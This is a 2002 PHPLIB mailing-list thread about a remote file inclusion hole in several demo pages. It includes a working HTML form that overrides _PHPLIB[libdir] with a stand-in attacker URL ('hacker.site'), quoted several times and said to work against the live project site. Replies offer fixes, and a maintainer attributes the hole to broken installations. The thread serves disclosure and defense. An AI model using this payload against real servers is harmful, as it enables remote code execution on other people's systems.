phplib-users

[Phplib-users] security hole !!!Remote code execution !!!

[Pawel L. <paw...@il...>]

files:
/pages/new_user_alt.php3
/pages/view_sessions.php3
/pages/showoff.php3

line:

include($_PHPLIB["libdir"] . "table.inc");

example:

<form method=POST action="http://phplib.sourceforge.net/showroom/view_sessions.php3">
<input type=hidden name="_PHPLIB[libdir]" value="http://hacker.site/some_path/">
<input type=submit>

versions tested: <7.4-pr1

tested, (and works) on
http://phplib.sourceforge.net/

Re: [Phplib-users] security hole !!!Remote code execution !!!

[Marcin P. <cu...@se...>]

Hello,

add checking $_PHPLIB["libdir"] before

include($_PHPLIB["libdir"] . "table.inc");

if in $_PHPLIB["libdir"] is string http:// then stop - exit;

It will be probably something like that:

if (preg_match('/^http:\/\//', $_PHPLIB["libdir"])) {
	echo "Wrong \$_PHPLIB[\"libdir\"].";
	exit;
}

include($_PHPLIB["libdir"] . "table.inc");

>
> files:
> /pages/new_user_alt.php3
> /pages/view_sessions.php3
> /pages/showoff.php3
>
> line:
> include($_PHPLIB["libdir"] . "table.inc");
>
> example:
>
> <form method=3DPOST action=3D"http://phplib.sourceforge.net/showroom/vi=
ew_sessions.php3">
> <input type=3Dhidden name=3D"_PHPLIB[libdir]" value=3D"http://hacker.si=
te/some_path/">
> <input type=3Dsubmit>
>
> versions tested: <7.4-pr1
>
> tested, (and works) on
> http://phplib.sourceforge.net/
Yes, I try and it works.



--=20
							Pozdrawiam,
							Marcin Pyla

(o_  [ <@ Marcin Pyla - Cubbi <cu...@se...>  |  <<+ NetArt ISP +>> @=
> ]
(/)_ [ Odkryto, =BFe C++ posiada niesamowit=B1 zdolno=B6=E6 do ukrywania =
          ]
     [ nieistotnych detali w programach, takich jak bugi.                =
  ]

RE: [Phplib-users] security hole !!!Remote code execution !!!

[Matt F. <ma...@sp...>]

I just simply removed that code from my implementation of phplib - I
never have a need to include files from another server. I'd be surprised
if many apps would use this anyway.=20

Or you could do:

if( isset($_GET['_PHPLIB']) ) die("some message");



-----Original Message-----
From: php...@li...
[mailto:php...@li...] On Behalf Of Marcin
Pyla
Sent: Saturday March 2, 2002 11:51 AM
To: php...@li...
Subject: Re: [Phplib-users] security hole !!!Remote code execution !!!



Hello,

add checking $_PHPLIB["libdir"] before

include($_PHPLIB["libdir"] . "table.inc");

if in $_PHPLIB["libdir"] is string http:// then stop - exit;

It will be probably something like that:

if (preg_match('/^http:\/\//', $_PHPLIB["libdir"])) {
	echo "Wrong \$_PHPLIB[\"libdir\"].";
	exit;
}

include($_PHPLIB["libdir"] . "table.inc");

>
> files:
> /pages/new_user_alt.php3
> /pages/view_sessions.php3
> /pages/showoff.php3
>
> line:
> include($_PHPLIB["libdir"] . "table.inc");
>
> example:
>
> <form method=3DPOST
action=3D"http://phplib.sourceforge.net/showroom/view_sessions.php3">
> <input type=3Dhidden name=3D"_PHPLIB[libdir]"
value=3D"http://hacker.site/some_path/">
> <input type=3Dsubmit>
>
> versions tested: <7.4-pr1
>
> tested, (and works) on
> http://phplib.sourceforge.net/
Yes, I try and it works.



--=20
							Pozdrawiam,
							Marcin Pyla

(o_  [ <@ Marcin Pyla - Cubbi <cu...@se...>  |  <<+ NetArt ISP +>>
@> ]
(/)_ [ Odkryto, =BFe C++ posiada niesamowit=B1 zdolno=B6=E6 do ukrywania
]
     [ nieistotnych detali w programach, takich jak bugi.
]


_______________________________________________
Phplib-users mailing list
Php...@li...
https://lists.sourceforge.net/lists/listinfo/phplib-users

Re: [Phplib-users] security hole ... NOT!

[Richard A. <rh...@ju...>]

This is not a security flaw in PHPLIB.

There was once a problem with _PHPLIB handling, but that was
fixed back in July 2001 with the release of 7.2d.

The "test cases" described are due to a broken installation
of PHPLIB, not a flaw in the library.

To avoid the possibility of remote code being executed on PHPLIB
pages, prepend.php3 must be included at the start of any file
which uses PHPLIB. It contains the lines:

$_PHPLIB = array();
# Can't control your include path?
# Point this to your PHPLIB base directory. Use a trailing "/"!
$_PHPLIB["libdir"]  = "";

This initialises the include path variable so that it cannot be
overridden by crafted form input.

 ...R.